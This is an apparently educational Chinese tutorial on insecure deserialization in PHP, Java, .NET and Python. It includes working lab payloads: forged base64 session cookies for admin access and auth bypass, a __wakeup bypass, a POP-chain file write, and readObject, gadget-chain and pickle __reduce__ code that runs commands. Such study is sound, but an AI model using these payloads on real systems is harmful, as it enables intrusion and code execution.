類(Class): 用來描述具有相同的屬性和方法的對象的集合。
它定義了該集合中每個對象所共有的屬性和方法。對象是類的實例。
對象:通過類定義的數據結構實例。對象包括兩個數據成員(類變量和實例變量)和方法。
對象:某一個具體的事物、實體或事例
類是類型,比如人類,犬類;
對象是某種類的一個實例(實際的例子),比如身為人類的你就是一個對象,你家養的狗就屬於犬類的一個對象,或者說一個實例;
你可能經常會聽到「實例化對象」,這句話的意思就是創建對象,此處的實例名詞作動詞用,作名詞時,可以理解為實例與對象就是一回事
方法:類中定義的函數
魔術方法在類或對象的某些事件出發後會自動執行
在PHP中以兩個下劃線開頭的方法,如果希望PHP調用這些魔術方法,首先必須在類中定義,否則PHP不會執行未創建的魔術方法。
序列化是將複雜的數據結構(例如對象及其欄位)轉換為「更扁平」格式的過程,該格式可以作為字節順序流發送和接收。
序列化數據使其更容易:
至關重要的是,在序列化對象時,其狀態也將保留。換句話說,將保留對象的屬性及其分配的值。
反序列化是將字節流還原為原始對象的完整功能副本的過程,其狀態與序列化時的狀態完全相同。
然後,網站的邏輯可以與此反序列化的對象進行交互,就像與任何其他對象進行交互一樣。
許多程式語言為序列化提供本地的支持。對象的具體序列化方式取決於語言。
某些語言將對象序列化為二進位格式,而其他語言則使用不同的字符串格式,同時具有不同程度的人類可讀性。
請注意,所有原始對象的屬性都存儲在序列化的數據流中,包括任何私有欄位。
為防止欄位被序列化,必須在類聲明中將其顯式標記為「 transient」。
在PHP中,序列化用於存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結構。
public(公共的):在本類內部、外部類、子類都可以訪問
protect(受保護的):只有本類或子類或父類中可以訪問
private(私人的):只有本類內部可以使用
不安全的反序列化不安全的反序列化是指網站對用戶可控制的數據進行反序列化時,攻擊者能夠操縱序列化的對象,以將有害數據傳遞到應用程式代碼中。
甚至有可能用完全不同類的對象替換序列化的對象。
更誇張的是,將對網站可用的任何類別的對象進行反序列化和實例化,而與預期的類別無關。
因此,不安全的反序列化有時稱為「對象注入」漏洞。
意外類的對象可能會導致異常。
但是,到此時,損壞可能已經造成。
許多基於反序列化的攻擊是在反序列化完成之前完成的。
這意味著即使網站自身的功能未直接與惡意對象進行交互,反序列化過程本身也可以發起攻擊。
因此,其邏輯基於強類型語言的網站也可能容易受到這些技術的攻擊。
漏洞成因會出現不安全的反序列化,是因為人們普遍缺乏對用戶可控制數據進行反序列化的危險程度的了解。理想情況下,絕對不應該對用戶輸入數據進行反序列化。
由於通常認為反序列化對象是可信任的,因此也可能會出現漏洞。
尤其是當使用具有二進位序列化格式的語言時,開發人員可能會認為用戶無法有效讀取或操縱數據。
但是,儘管可能需要付出更多的努力,但攻擊者仍有可能利用二進位序列化的對象,就象利用基於字符串的格式一樣。
由於現代網站中存在大量依賴關係,因此基於反序列化的攻擊也成為可能。
一個典型的站點可能會實現許多不同的庫,每個庫也都有自己的依賴性。
這會創建大量難以安全管理的類和方法。由於攻擊者可以創建任何這些類的實例,因此很難預測可以對惡意數據調用哪些方法。
如果攻擊者能夠將一系列意想不到的方法調用連結在一起,並將數據傳遞到與初始源完全無關的接收器,則尤其如此。
因此,幾乎不可能預料到惡意數據的流動並堵塞(修復)每個潛在的漏洞。
簡而言之,反序列化不受信任的輸入是不安全的。
漏洞影響不安全的反序列化的影響可能非常嚴重,因為它為大規模增加攻擊面提供了切入點。它允許攻擊者以有害的方式重用現有的應用程式代碼,從而導致許多其他漏洞,通常是遠程執行代碼(RCE)。
即使在無法執行遠程代碼的情況下,不安全的反序列化也可能導致越權,任意文件訪問和拒絕服務攻擊。
二.按程式語言分類無論是白盒測試還是黑盒測試,識別不安全的反序列化都是相對簡單的。
在審核期間,我們應該查看傳遞到網站的所有數據,並嘗試識別任何看起來像序列化數據的內容。
如果知道不同語言使用的格式,則可以相對輕鬆地識別序列化數據。
在本節中,我們將展示多種語言的序列化示例及特性。識別序列化數據後,就可以測試是否能夠控制它。
1.PHP#漏洞原理php對象控制所有php裡面的值都可以使用函數serialize()來返回一個包含字節流的字符串來表示,unserialize()函數能夠重新把字符串變回php原來的值。
反序列化一個對象將會保存對象的所有變量。但是不會保存對象的方法,只會保存類的名字。為了能夠unserialize()一個對象,這個對象的類必須已經定義過。
如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。
如果要想在另外一個文件中解序列化一個對象,這個對象的類必須在解序列化之前定義,可以通過包含一個該類的文件或使用函數spl_autoload_register()來實現。
魔法方法魔術方法是不必顯式調用的方法的特殊子集。而是在發生特定事件或場景時自動調用它們。
魔術方法是各種語言的面向對象編程的共同特徵。有時通過在方法名稱前添加前綴或雙下劃線來表示它們。開發人員可以將魔術方法添加到類中,以便預先確定在發生相應事件或場景時應執行什麼代碼。何時以及為何調用魔術方法的確切方法因方法而異。
下面是比較典型的PHP反序列化漏洞中可能會用到的魔術方法:
__wakeup (void)
unserialize( )會檢查是否存在一個wakeup( ) 方法。如果存在,則會先調用__wakeup 方法,預先準備對象需要的資源。
__construct ([ mixed $args [, $...]])
具有構造函數的類會在每次創建新對象時先調用此方法。
__destruct (void)
析構函數會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。
__toString (void)
__toString( ) 方法用於一個類被當成字符串時應怎樣回應。例如 echo $obj;應該顯示些什麼。此方法必須返回一個字符串,否則將發出一條 E_RECOVERABLE_ERROR 級別的致命錯誤。
序列化實現PHP使用一種人類可讀的字符串格式,其中字母代表數據類型,數字代表每個條目的長度。例如,考慮User具有以下屬性的對象:
$user->name ="carlos";
$user->isLoggedIn =true;
序列化後,該對象可能看起來像這樣:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
可以解釋如下:
O:4:"User"-具有4個字符的類名稱的對象"User"
2-對象具有2個屬性
s:4:"name"-第一個屬性的鍵是4個字符的字符串"name"
s:6:"carlos"-第一個屬性的值是6個字符的字符串"carlos"
s:10:"isLoggedIn"-第二個屬性的鍵是10個字符的字符串"isLoggedIn"
b:1-第二個屬性的值是布爾值true
介紹完了漏洞原理與序列化的實現過程,接下來說說漏洞的利用。
操作序列化對象不安全的反序列化就包括了用戶可以對序列化對象進行修改,這可能導致一些越權,代碼執行等漏洞。
修改幅度有大有小,有的是僅僅修改序列化中的部分字符,有的則是重新生成一個序列化對象,傳給網站進行反序列化。
在處理序列化對象時可以採用兩種方法: 可以直接以對象的字節流形式對其進行編輯,也可以使用相應的語言編寫簡短的腳本來自己創建和序列化新對象。
使用二進位序列化格式時,後一種方法通常更容易。
1、修改對象屬性
這屬於修改幅度較小的情況,僅僅修改屬性不會使反序列化報錯,也保留了原有對象的結構。
舉一個簡單的例子,考慮一個使用序列化User對象的網站,該網站將有關用戶會話的數據存儲在cookie中。如果攻擊者在HTTP請求中發現了序列化對象,則可能會對其進行解碼以找到以下內容:
O:4:"User":2:{s:8:"username":s:6:"carlos"; s:7:"isAdmin":b:0;}
注意到這裡的isAdmin屬性,攻擊者可以簡單地將該屬性的布爾值更改為1(true),重新編碼對象,然後使用此修改後的值覆蓋其當前cookie。
burpsuite官網的實驗地址:http://r6d.cn/MgdW
登錄後查看Cookie,base64解碼後為
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
嘗試修改為(經過嘗試需要每一次都修改,burpsuite直接修改cookie值)
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
再base64加密,url加密得到
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D
修改之後得到了管理員權限:
2、修改數據類型
我們已經看到了如何修改序列化對象中的屬性值,修改數據類型有時候也會有意想不到的效果,這種效果可能基於PHP 的弱等於比較 ==
例如,如果在整數和字符串之間執行弱比較,PHP將嘗試將字符串轉換為整數,即結果5 == "5"為true。
這也適用於以數字開頭的任何字母數字字符串。
在這種情況下,PHP將根據初始數字有效地將整個字符串轉換為整數值。
字符串的其餘部分將被完全忽略。
因此,5 == "5 of something"在實踐中被視為5 == 5
比較0 :
0=="Example string"// true
因為沒有數字,所以字符串中的數字為0。PHP將整個字符串視為整數0
考慮這種鬆散的比較運算符與反序列化對象中的用戶可控制數據一起使用的情況。這可能會導致危險的邏輯缺陷。
$login = unserialize($_COOKIE)
if($login['password']== $password){
// log in successfully
}
假設攻擊者修改了password屬性,使其包含整數0而不是預期的字符串。只要存儲的密碼不是以數字開頭,該條件將始終返回true 從而身份驗證繞過。
請注意,以任何序列化的對象格式修改數據類型時,務必記住也要更新序列化數據中的任何類型標籤和長度指示符,這一點很重要。否則,序列化的對象將被破壞並且不會被反序列化.
實驗地址http://r6d.cn/Mgb9,任務是: 編輯會話cookie中的序列化對象以訪問administrator帳戶。
我們登錄後的cookie值:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"XaUdeGmBn1wE6eB0QDcNSze28JC6JGhb";}
用戶要修改為administrator,access_token應該是驗證身份的
如果將access_token修改為整形,然後值修改為0/1/2/3/4/5/6/7 …
需要一次次嘗試,因為如果與access_token比較的值前幾位包含了數字就需要不停嘗試,直到比較成功。
修改administrator: s:8:"username";s:13:"administrator";
修改access_token : s:12:"access_token";i:0;}
拼接就是
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
處理後
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
burp抓包改cookie,可見成功升級為管理員。
利用應用程式功能除了簡單地檢查屬性值外,網站的功能還可能會對反序列化對象中的數據執行危險的操作。在這種情況下,我們可以使用不安全的反序列化來傳遞意外數據,並利用相關功能造成破壞。
例如,作為網站「刪除用戶」功能的一部分,通過訪問$user->image_location屬性中的文件路徑來刪除用戶的個人資料圖片。
如果這$user是從序列化對象創建的,則攻擊者可以通過將帶有image_location集合的已修改對象傳遞到任意文件路徑來利用此漏洞,刪除他們自己的用戶帳戶也將刪除此任意文件。
利用魔法方法之前我們介紹了魔法方法的原理和運行機制,此處用一個demo來展示它的利用。注意魔法方法中的代碼。
classDemo
{
public $data;
publicfunction __construct($data)
{
$this->data = $data;
echo "construct<br />";
}
publicfunction __wakeup()
{
echo "wake up<br />";
}
publicfunction __destruct()
{
echo "Data's value is $this->data. <br />";
echo "destruct<br />";
}
}
var_dump(serialize(newDemo("raw value")));
輸出:
construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
把序列化的字符串修改⼀下後,執⾏
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
輸出:
wake up
Data's value is malicious value.
destruct
這⾥看到,值被修改了。上⾯是⼀個 unserialize() 的簡單應⽤,不難看出,如果 wakeup() 或者 desturct() 有敏感操作,⽐如讀寫⽂件、操作資料庫,就可以 通過函數實現⽂件讀寫或者數據讀取的⾏為。
那麼,在 wakeup() 中加⼊判斷是否可以阻⽌這個漏洞呢?在 wakeup() 中我們加⼊⼀⾏代碼
publicfunction __wakeup()
{
if($this->data !='raw value') $this->data ='raw value';
echo "wake up<br />";
}
但其實還是可以繞過的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存 在wakeup的漏洞。當反序列化中object的個數和之前的個數不等時, wakeup就會被繞過,於是使⽤下⾯的payload
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
輸出
Data's value is malicious value.
destruct
這⾥wakeup被繞過,值依舊被修改了。
POP鏈在反序列化中,我們所能控制的數據就是對象中的各個屬性值,所以在PHP的反序列化有一種漏洞利用方法叫做 「面向屬性編程」 ,即 POP( Property Oriented Programming)。
和二進位漏洞中常用的ROP技術類似。
在ROP中我們往往需要一段初始化gadgets來開始我們的整個利用過程,然後繼續調用其他gadgets。
在PHP反序列化漏洞利用技術POP中,對應的初始化gadgets就是wakeup() 或者是destruct() 方法, 在最理想的情況下能夠實現漏洞利用的點就在這兩個函數中,但往往我們需要從這個函數開始,逐步的跟進在這個函數中調用到的所有函數,直至找到可以利用的點為止。
下面列舉些在跟進其函數調用過程中需要關注一些很有價值的函數。
幾個可用的POP鏈方法
命令執行:
exec()
passthru()
popen()
system()
文件操作:
file_put_contents()
file_get_contents()
unlink()
一旦這些函數的參數我們能夠控制,就有可能出現高危漏洞.
Demo所使用的代碼。
DemoPopChain.php
<?php
classDemoPopChain{
private $data =「barn」;
private $filename =『/tmp/foo』;
publicfunction __wakeup(){
$this->save($this->filename);
}
publicfunction save($filename){
file_put_contents($filename, $this->data);
}
?>
unserialize.php
<?php
require(『./DemoPopChain.php』);
unserialize(file_get_contents(『./serialized.txt));
?>
這是一個很簡單的具有反序列漏洞的代碼,程序從serialized.txt文件中讀取需要進行反序列化的字符串。
這個我們可控。
同時該文件還定義了一個 DemoPopChain 類,並且該類實現了 __wakeup 函數,在該函數中調用了save函數,其參數為 類對象的filename屬性值
然後在 save函數中調用了 file_put_contents 函數,該函數的兩個參數分別為從save函數中傳下來的 filename屬性值 和 該對象的data屬性值。
又由於在反序列化的過程中被反序列化的對象的屬性值是我們可控的,於是我們就通過對函數的嵌套調用和對象屬性值的使用得到了一個 任意文件寫入任意內容的漏洞。
這就是所謂的POP。
就是關注整個函數的調用過程中參數的傳遞情況,找到可利用的點,這和一般的Web漏洞沒什麼區別,只是可控制的值有直接傳遞給程序的參數轉變為了 對象中的屬性值。
2.Java#漏洞原理Java反射機制反射 (Reflection) 是 Java 的特徵之一,它允許運行中的 Java 程序獲取自身的信息,並且可以操作類或對象的內部屬性。
簡而言之,通過反射,我們可以在運行時獲得程序或程序集中每一個類型的成員和成員的信息。程序中一般的對象的類型都是在編譯期就確定下來的,而 Java 反射機制可以動態地創建對象並調用其屬性,這樣的對象的類型在編譯期是未知的。所以我們可以通過反射機制直接創建對象,即使這個對象的類型在編譯期是未知的。
反射的核心是 JVM 在運行時才動態加載類或調用方法/訪問屬性,它不需要事先(寫代碼的時候或編譯期)知道運行對象是誰。
Java 反射主要提供以下功能:
重點:是運行時而不是編譯時
反射機制在java反序列化漏洞的利用過程中有很重要的作用,此處做一個簡單的介紹,具體知識與實現可參考:http://r6d.cn/MfXa
關鍵類說明位置:Java.io.ObjectOutputStream java.io.ObjectInputStream
序列化: ObjectOutputStream類 —> writeObject()
註:該方法對參數指定的obj對象進行序列化,把字節序列寫到一個目標輸出流中
按Java的標準約定是給文件一個.ser擴展名
反序列化: ObjectInputStream類 —> readObject()
註:該方法從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,並將其返回。
java中的一個類的對象要想序列化成功,必須滿足兩個條件:
該類必須實現 java.io.Serializable 接口,因為 Serializable 接口是啟用其序列化功能的接口。
該類的所有屬性必須是可序列化的。
如果你想知道一個 Java 標準類是否是可序列化的,可以通過查看該類的文檔,查看該類有沒有實現 java.io.Serializable 接口。
以下列出了一些存在危險的基礎庫:
com.mchange:c3p0 0.9.5.2
com.mchange:mchange-commons-java 0.2.11
commons-beanutils 1.9.2
commons-collections 3.1
commons-fileupload 1.3.1
commons-io 2.4
commons-logging 1.2
org.apache.commons:commons-collections 4.0
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.slf4j:slf4j-api 1.7.21
org.springframework:spring-aop 4.1.4.RELEASE
#Java反序列化利用命令執行
前面我們能知道序列化過程依賴於 ObjectOutputStream 類中 writeObject 方法,而反序列化的過程是依賴於 ObjectOutputStream 類中 readObject 方法。
那麼如果實際情況下,我們能夠重寫 readObject 方法,那麼就有可能達到反序列化的時候命令執行的作用。
以下代碼重寫了 readObject 方法,當調用 readObject 執行反序列化操作的時候,調用系統命令執行彈出計算器的操作。
//ObjectCalc.java
import java.io.IOException;
import java.io.Serializable;
classObjectCalcimplementsSerializable{
publicString name;
//重寫readObject()方法
privatevoid readObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{
//執行默認的readObject()方法
in.defaultReadObject();
//執行打開計算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}
然後先生成序列化的object。
//SerializableCalc.java
//引入必要的java包文件
import java.io.*;
publicclassSerializableCalc{
publicstaticvoid main(String args[])throwsException{
//定義myObj對象
ObjectCalc myObj =newObjectCalc();
myObj.name ="hi";
//創建一個包含對象進行反序列化信息的」object」數據文件
FileOutputStream fos =newFileOutputStream("/Users/l1nk3r/Desktop/object");
ObjectOutputStream os =newObjectOutputStream(fos);
//writeObject()方法將myObj對象寫入object文件
os.writeObject(myObj);
os.close();
}
}
然後反序列化的過程中彈出計算器。
//unSerializableCalc.java
//引入必要的java包文件
import java.io.*;
publicclass unSerializableCalc{
publicstaticvoid main(String args[])throwsException{
//從文件中反序列化obj對象
FileInputStream fis =newFileInputStream("/Users/l1nk3r/Desktop/object");
ObjectInputStream ois =newObjectInputStream(fis);
//恢復對象
ObjectCalc objectFromDisk =(ObjectCalc)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
利用反射機制來執行代碼Java的反射機制提供為Java工程師的開發提供了相當多的便利性,同樣也帶來了潛在的安全風險。
反射機制的存在使得我們可以越過Java本身的靜態檢查和類型約束,在運行期直接訪問和修改目標對象的屬性和狀態。
Java反射的四大核心是 Class,Constructor,Field,Method,如下代碼所示。
通過反射的方法重寫readObject,從而操縱代碼調用本地的計算器:
//ReflectionCalcObject.java
package com.l1nk3r.reflect;
import java.io.*;
import java.lang.reflect.Method;
classReflectionCalcObjectimplementsSerializable{
publicString name;
//重寫readObject()方法
privatevoid readObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{
in.defaultReadObject();//調用原始的readOject方法
try{//通過反射方法執行命令;
Method method= java.lang.Runtime.class.getMethod("exec",String.class);
Object result = method.invoke(Runtime.getRuntime(),"open /Applications/Calculator.app/");
}
catch(Exception e){
e.printStackTrace();
}
}
}
關鍵在於這兩行代碼
Method method= java.lang.Runtime.class.getMethod("exec",String.class);
Object result = method.invoke(Runtime.getRuntime(),"open /Applications/Calculator.app/");
通過運行 java.lang.Runtime 這個類的 .class 屬性,並使用 getMethod 方法來獲取我們要執行命令的方法 exec ,最後我們通過 invoke 來實現註冊這個方法,打開計算器。
#FastJson庫反序列化FastJson是alibaba的一款開源JSON解析庫,它可以解析JSON格式的字符串,支持將Java Bean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。
Fastjson接口簡單易用,廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端等,目前有2個主要接口toJsonString和parseObject來分別實現序列化和反序列化。
近幾年來fastjson RCE漏洞的源頭:17年fastjson爆出的1.2.24反序列化漏洞。
關於Fastjson 1.2.24反序列化漏洞,自從17年以來已經有很多人分析過了,一些基礎內容此處就不再陳述了。
此次漏洞簡單來說,就是Fastjson通過parseObject/parse將傳入的字符串反序列化為Java對象時由於沒有進行合理檢查而導致的。
詳細內容可閱讀參考文章:http://r6d.cn/MfTq 、 http://r6d.cn/MfTH
2..NET#漏洞原理.net反射機制與Java類似,.net也具備反射機制。
反射是.Net中獲取運行時類型信息的方式,.Net的應用程式由幾個部分:『程序集(Assembly)』、『模塊(Module)』、『類型(class)』組成,而反射提供一種編程的方式,讓程式設計師可以在程序運行期獲得這幾個組成部分的相關信息,
例如:Assembly類可以獲得正在運行的裝配件信息,也可以動態的加載裝配件,以及在裝配件中查找類型信息,並創建該類型的實例。
Type類可以獲得對象的類型信息,此信息包含對象的所有要素:方法、構造器、屬性等等,通過Type類可以得到這些要素的信息,並且調用之。
MethodInfo包含方法的信息,通過這個類可以得到方法的名稱、參數、返回值等,並且可以調用之。諸如此類,還有FieldInfo、EventInfo等等,這些類都包含在System.Reflection命名空間下。
那麼,反射機制與序列化有何關係呢?
在序列化過程中,當判斷完每個對象的類型定義應用了可序列化[Serializable]特性,.net會利用反射機制來取得每個目標對象的類型中所有需要序列化的實例欄位的信息,並讀取對應欄位的值保存到字節流中。
.NET的一些類庫同樣存在反序列化漏洞,本篇主要介紹以下四個:
XmlSerializer
Json.Net
Fastjson
JavaScriptSerializer
註:本節內容主要引用自360雲影實驗室-Ivan1ee的系列文章。
#XmlSerializer反序列化漏洞在.NET 框架中的 XmlSerializer 類是一種很棒的工具,它是將高度結構化的 XML 數據 映射為 .NET 對象。
XmlSerializer 類在程序中通過單個 API 調用來執行 XML 文檔和對 象之間的轉換。
轉換的映射規則在 .NET 類中通過元數據屬性來表示,如果程序開發人 員使用 Type 類的靜態方法獲取外界數據,並調用 Deserialize 反序列化 xml 數據就會 觸發反序列化漏洞攻擊。
攻擊者發現汙染點可控的時候,可以從兩個維度去尋找利用的點,
第一從 Web 應用程式中尋求可以執行命令或者寫 WebShell 的類和方法;
第二就是利用 ObjectDataProvider、ResourceDictionary、XamlReader 組成的攻擊鏈去執行命令 或者反彈 Shell 。
打造POC首先放上攻擊鏈打造成功後的完整Demo,這段Demo可以復用在任意地方(這裡不涉及.NET Core、MVC),如下圖
只要XmlSerializer存在反序列化漏洞就可用下面Demo中的內容,涉及到三個主要的技術點,以下分別來介紹原理。
ObjectDataProvider
ObjectDataProvider類,它位於System.Windows.Data命名空間下,
可以調用任意被引用類中的方法,提供成員ObjectInstance用類似實例化類、成員MethodName調用指定類型的方法的名稱、成員MethodParameters表示傳遞給方法的參數,參考下圖
再給TestClass類定義一個ClassMethod方法,代碼實現調用System.Diagnostics.Process.Start啟動新的進程彈出計算器。
如果用XmlSerializer直接序列化會拋出異常,因為在序列化過程中ObjectInstance這個成員類型未知,不過可以使用ExpandedWrapper擴展類在系統內部預先加載相關實體的查詢來避免異常錯誤,改寫Demo
生成data.xml內容如下:
攻擊鏈第一步就算完成,但美中不足的是因筆者在測試環境下新建的TestClass類存在漏洞,但在生產情況下是非常複雜的,需要尋求Web程序中存在脆弱的攻擊點,為了使攻擊成本降低肯定得調用系統類去達到命令執行,所以需要引入下面的知識。
ResourceDictionary
ResourceDictionary,也稱為資源字典通常出現在WPF或UWP應用程式中用來在多個程序集間共享靜態資源。既然是WPF程序,必然設計到前端UI設計語言XAML。
XAML全稱Extensible Application Markup Language (可擴展應用程式標記語言) 基於XML的,且XAML是以一個樹形結構作為整體,如果對XML了解的話,就能很快的掌握,例如看下面Demo
第一個標籤ResourceDictionary,xmlns:Runtime表示讀取System.Diagnostics命令空間的名稱起個別名為Runtime
第二個標籤ObjectDataProvider指定了三個屬性,x:key便於條件檢索,意義不大但必須得定義;ObjectType 用來獲取或設置要創建其實例的對象的類型,並使用了XAML擴展;x:Type相當於C#中typeof運算符功能,這裡傳遞的值是System.Diagnostics.Process; MethodName用來獲取或設置要調用的方法的名稱,傳遞的值為System.Diagnostics.Process.Start方法用來啟動一個進程。
第三個標籤ObjectDataProvider.MethodParameters內嵌了兩個方法參數標籤,通過System:String分別指定了啟動文件和啟動時所帶參數供Start方法使用。
介紹完攻擊鏈中ResourceDictionary後,攻擊的Payload主體已經完成
接下來通過XamlReader這個系統類所提供的XML解析器來實現攻擊。
XamlReader
XamlReader位於System.Windows.Markup空間下,顧名思義就是用來讀取XAML文件,
它是默認的XAML讀取器,通過Load讀取Stream流中的XAML數據,並返回作為根對象,
而另外一個Parse方法讀取指定字符串中的XAML輸入,也同樣返回作為根對象,自然Parse 方法是我們關心和尋求的。
只需使用ObjectDataProvider的ObjectInstance方法實例化XamlReader,
再指定MethodName為Parse,並且給MethodParameters傳遞序列化之後的資源字典數據,這樣就可以完成XmlSerializer反序列化攻擊鏈的打造。
#Json.Net反序列化漏洞Newtonsoft.Json,這是一個開源的,讀寫Json效率非常高的.Net庫,在做開發的時候,很多數據交換都是以json格式傳輸的。
而使用Json的時候,開發者很多時候會涉及到幾個序列化對象的使用:DataContractJsonSerializer,JavaScriptSerializer 和 Json.NET即Newtonsoft.Json。大多數人都會選擇性能以及通用性較好Json.NET,這個雖不是微軟的類庫,但卻是一個開源的世界級的Json操作類庫。
用它可輕鬆實現.Net中所有類型(對象,基本數據類型等)同Json之間的轉換,在帶來便捷的同時也隱藏了很大的安全隱患,在某些場景下開發者使用DeserializeObject方法序列化不安全的數據,就會造成反序列化漏洞從而實現遠程RCE攻擊。
漏洞的觸發點也是在於TypeNameHandling這個枚舉值,如果開發者設置為非空值、也就是對象(Objects) 、數組(Arrays) 、自動識別 (Auto) 、所有值(ALL) 的時候都會造成反序列化漏洞,為此官方文檔裡也標註了警告,當您的應用程式從外部源反序列化JSON時應謹慎使用TypeNameHandling。
打造POC此處繼續選擇ObjectDataProvider類方便調用任意被引用類中的方法,具體有關此類的用法可以看一下上文或者http://r6d.cn/MfQY,首先來序列化TestClass
指定TypeNameHandling.All、TypeNameAssemblyFormatHandling.Full後得到序列化後的Json字符串
如何構造System.Diagnostics.Process序列化的Json字符串呢?筆者需要做的工作替換掉ObjectInstance的$type、MethodName的值以及MethodParameters的$type值,刪除一些不需要的Member、最終得到的反序列話Json字符串如下
再經過JsonConvert.DeserializeObject反序列化(注意一點指定TypeNameHandling的值一定不能是None),成功彈出計算器。
Fastjson 反序列化漏洞Java中的Fastjson曾經爆出了多個反序列化漏洞和Bypass版本,而在.Net領域也有一個Fastjson的庫,作者官宣這是一個讀寫Json效率最高的的.Net 組件,使用內置方法JSON.ToJSON可以快速序列化.Net對象。讓你輕鬆實現.Net中所有類型(對象,基本數據類型等)和Json之間的轉換。
FastJson和老牌Json.Net、Stack等比起來速度和性能優勢非常明顯,究其原因組件的作者利用反射生成了大量的IL代碼,而IL代碼是託管代碼,可以直接給運行庫編譯所以性能就此大大提升。但在某些場景下開發者使用JSON.ToObject方法序列化不安全的數據時候會造成反序列化漏洞從而實現遠程RCE攻擊。
漏洞的觸發點也是在於被序列化的Json中的$types是否可控,為此官方文檔裡也標註了警告。
打造POC繼續選擇ObjectDataProvider類方便調用任意被引用類中的方法,具體有關此類的用法可以看一下sourse,因為Process.Start方法啟動一個線程需要配置ProcessStartInfo類相關的屬性,例如指定文件名、指定啟動參數,所以首先得考慮序列化ProcessStartInfo,如下代碼Demo
一步步來看,開始從GetType獲取當前類的實例,返回Type類型變量t3;
然後通過Type.GetProperty方法找到指定為FileName的公共屬性並賦值給PropertyInfo類型的變量propertyName;
再使用PropertyInfo.SetValue方法設置對象的指定屬性值「cmd.exe「,同理為Arguments屬性指定值。
下一步再來序列化Process類,並調用StartInfo啟動程序,Demo如下
然後需要對其做減法,去掉無關的System.RuntimeType、System.IntPtr數據,最終得到反序列化Payload
FastJson定義的JSON類定義了多個ToObject重載方法,對於反序列化漏洞無需關心重載的方法參數是一個還是多個,它們都可以觸發漏洞
通過下面的Demo , JSON.ToObject(payload)反序列化成功彈出計算器。
#JavaScriptSerializer反序列化漏洞在.NET處理 Ajax應用的時候,通常序列化功能由JavaScriptSerializer類提供,
它是.NET2.0之後內部實現的序列化功能的類,
位於命名空間System.Web.Script.Serialization、通過System.Web.Extensions引用,讓開發者輕鬆實現.Net中所有類型和Json數據之間的轉換,但在某些場景下開發者使用Deserialize 或DeserializeObject方法處理不安全的Json數據時會造成反序列化攻擊從而實現遠程RCE漏洞。
打造POC默認情況下JavaScriptSerializer不會使用類型解析器,所以它是一個安全的序列化處理類,漏洞的觸發點也是在於初始化JavaScriptSerializer類的實例的時候是否創建了SimpleTypeResolver類,如果創建了,並且反序列化的Json數據在可控的情況下就可以觸發反序列化漏洞,借圖來說明調用鏈過程
我們還是選擇ObjectDataProvider類方便調用任意被引用類中的方法,具體有關此類的用法可以看一下http://r6d.cn/MfMW,
因為Process.Start方法啟動一個線程需要配置ProcessStartInfo類相關的屬性,
例如指定文件名、指定啟動參數,所以首先得考慮序列化ProcessStartInfo,這塊可參考http://r6d.cn/MfMC,之後對生成的數據做減法,去掉無關的System.RuntimeType、System.IntPtr數據,最終得到反序列化Poc
編寫好觸發代碼,用Deserialize<Object>反序列化Json成功彈出計算器。
4.Python#Pickle庫基礎Python提供的pickle模塊可以序列化對象並保存到磁碟中,並在需要的時候讀取出來,任何對象都可以執行序列化操作。
Pickle模塊中最常用的函數為:
(1)pickle.dump(obj, file, [,protocol])
函數的功能:將obj對象序列化存入已經打開的file中。
參數講解:
(2)pickle.load(file)
函數的功能:將file中的對象序列化讀出。
參數講解:
(3)pickle.dumps(obj[, protocol])
函數的功能:將obj對象序列化為string形式,而不是存入文件中。
參數講解:
(4)pickle.loads(string)
函數的功能:從string中讀出序列化前的obj對象。
參數講解:
魔法方法反序列化漏洞出現在 __reduce__()魔法函數上,這一點和PHP中的__wakeup()魔術方法類似,都是因為每當反序列化過程開始或者結束時 , 都會自動調用這類函數。而這恰好是反序列化漏洞經常出現的地方。
而且在反序列化過程中,因為程式語言需要根據反序列化字符串去解析出自己獨特的語言數據結構,所以就必須要在內部把解析出來的結構去執行一下。如果在反序列化過程中出現問題,便可能直接造成RCE漏洞。
#Python反序列化利用漏洞可能出現的位置:
解析認證token、session的時候
將對象Pickle後存儲成磁碟文件
將對象Pickle後在網絡中傳輸
參數傳遞給程序
命令執行利用
import pickle
import os
classTest(object):
def __reduce__(self):
#被調用函數的參數
cmd ="/usr/bin/id"
return(os.system,(cmd,))
if __name__ =="__main__":
test =Test2()
#執行序列化操作
result1 = pickle.dumps(test)
#執行反序列化操作
result2 = pickle.loads(result1)
# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.滿足返回一個元組,元組中有兩個參數
# 2.第一個參數是被調用函數 : os.system()
# 3.第二個參數是一個元組:(cmd,),元組中被調用的參數 cmd
# 4. 因此序列化時被解析執行的代碼是 os.system("/usr/bin/id")
執行:
